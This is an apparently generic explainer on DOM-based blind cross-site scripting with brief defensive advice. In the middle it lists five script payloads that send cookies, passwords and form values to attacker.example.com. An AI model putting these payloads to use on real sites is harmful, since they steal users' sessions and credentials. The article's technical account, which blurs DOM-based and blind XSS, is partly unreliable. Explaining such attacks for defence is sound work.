DOM-Based Blind XSS

DOM-Based Blind XSS

DOM-based Blind XSS (Document Object Model-based Blind Cross-Site Scripting) is one of the most dangerous and difficult to detect types of Cross-Site Scripting (XSS) vulnerabilities. This type of attack is particularly dangerous because it is difficult to detect and can be used to steal sensitive information, such as session cookies, or to launch other malicious activities.

DOM-based XSS occurs when a web application’s client-side script writes out user-supplied data to the Document Object Model (DOM) without proper sanitization. This allows an attacker to inject malicious code into the DOM and execute it on the client’s browser.

Unlike other types of XSS attacks, DOM-based Blind XSS does not require the attacker to have direct access to the vulnerable application’s source code. Instead, the attacker can inject malicious code into the DOM by manipulating the application’s query string parameters or through other means.

The most common way to exploit DOM-based Blind XSS is to use a “callback” URL. This is a URL that the attacker can control and which will be called when the malicious code is executed. The attacker can then use the callback URL to steal sensitive information from the victim’s browser.

In order to protect against DOM-based Blind XSS, it is important to properly sanitize user-supplied input and ensure that any data written to the DOM is properly escaped.

Below are some example XSS injections that will call back to an attacker-controlled endpoint:

<script>document.location = 'http://attacker.example.com/steal_cookies.php?cookie=' + document.cookie;</script>

<script>document.location = 'http://attacker.example.com/steal_data.php?data=' + document.getElementById('data').value;</script>

<script>document.location = 'http://attacker.example.com/steal_password.php?password=' + document.getElementById('password').value;</script>

<script>document.location = 'http://attacker.example.com/execute_malicious_code.php?code=' + document.getElementById('code').value;</script>

<script>document.location = 'http://attacker.example.com/redirect_to_malicious_site.php?url=' + document.getElementById('url').value;</script>

It is important to note that DOM-based Blind XSS can be extremely difficult to detect and prevent. Therefore, it is essential to ensure that user-supplied data is properly sanitized and that any data written to the DOM is properly escaped. Additionally, it is important to regularly audit and monitor applications for any suspicious activity.

By taking the necessary steps to protect against DOM-based Blind XSS, organizations can help to ensure the security of their applications and the safety of their users.